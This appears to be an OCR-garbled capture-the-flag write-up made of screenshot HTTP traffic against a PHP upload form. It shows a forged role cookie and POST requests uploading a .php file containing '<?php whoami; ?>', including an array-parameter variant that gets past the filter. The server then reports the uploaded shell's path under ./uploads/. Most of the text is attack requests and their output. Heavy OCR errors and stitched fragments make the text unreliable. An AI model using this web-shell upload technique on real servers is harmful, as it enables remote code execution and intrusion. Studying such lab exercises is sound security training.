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GET / HTTE/L.1
Host: 106.75.72.
User-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWEd; rv:53.0)
Gecke/20100101 Firsfox/53.0

Aecept:

Text/html, application/xhtml+xml, application/xml;g=0.9, */ *;q=0.8
Accept-Language: zh-CN, zh;q=0.8,=n-US;q=0.5,=n0;g=0.3

Accept-Encoding: gzip, deflate
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Connection: close
Upgrade-Insscure—Requests: 1
Cache-Control: max-age=0

ame = § POST['filename'];
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Date: Tus, O3 Apr 2018 10:55:47 GHT
Server: Apache/2.4.7 (Ubuntu)
¥-Powsrsd-By: PHP/5.5.9-lubuntud.22
Vary: Accept-Encoding
Content-Length: 210

Connsction: closs

Content-Type: text/html

</DOCTYPE html>

<html>

<head>
<title></title>

</head>

<body>

<!-- §filename = § POST['filenams']; §data = § POST['data’]; -->Hello admin,

</heml>

Sdata g POST['data']; -->1

now you can upload semething you are easy to forget.</body>
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Forbidden

[] Enable

Referrer

You don't have permission to access /uploads/ on this server.

Apache/2.4.7 (Ubunrtu) Server at 1006.75.72.168 Port 2222
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POST / HTTP/L.1

Host: 10OE.75.72.1EB:222Z2

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4:; rv:53.0) Gecko/IZ0100101 Firefox/53.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;gq=0.8
Accept-Language: zh-CHMN, zh;q=0.8,en-U3;q=0.5,=n;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

Cookie: role=ZjolOiJucKpZYSI7

Connection: close

Upgrade-Insecure—Recquests: 1

filename=l.php&data=<?php whoami; ?}|
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HTTP/1.1 200 OK

Date: Tue, 03 Apr 2018 11:58:20 GMT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-lubuntu4.ZZ
Vary: Accept-Encoding
Content-Length: 74

Connsction: close

Content-Type: text/html

T

<!DOCTY¥PE html>

<html>

<head>
<titlex</titlex

</head>

<body>»
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FOST / HITF/L. 1

Host: 106.75.72.168:2222

User-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWE4; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accepr-Languags: zh-CN, zh:q=0.8, sn-US;q=0.5, =n;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencodsd

Content-Length: 38

Cookis: rele=21ol0iJucXp2¥SI7

Connsction: close

Upgrade-Insecure-Requests: 1

Tilename=l.phpsdata(]=<?php whoami; 2>
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Server: Apache/2.4.7 (Ubuntu
¥-Powered-By: PHP/5.5.9-lubuntud.22
Vary: Accept-Encoding
Content-Length: 144

Connection: close

Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<title></title>
</heads
<body>
your file is in ./uploads/03d5370fa3709ec6h472c4bd9ebf267b1.php</body>
</htwl>

your file is in . fuploads/03d5370£a3709%9ec6b472c4bd9ebf267hl.php</body>

BB, 117 bfesctt, B3iflag

B ==
INT ~| = & S0L- XSS+ Encryption~ Encoding- Other-

@ Load URL |httpy//106.75.72.168:2222/uploads/03d5370fa3709%ec6b47 2c4bd9ebf267b1.php

B split URL

b  Execute

[] Enable Post data [ ] Enable Referrer
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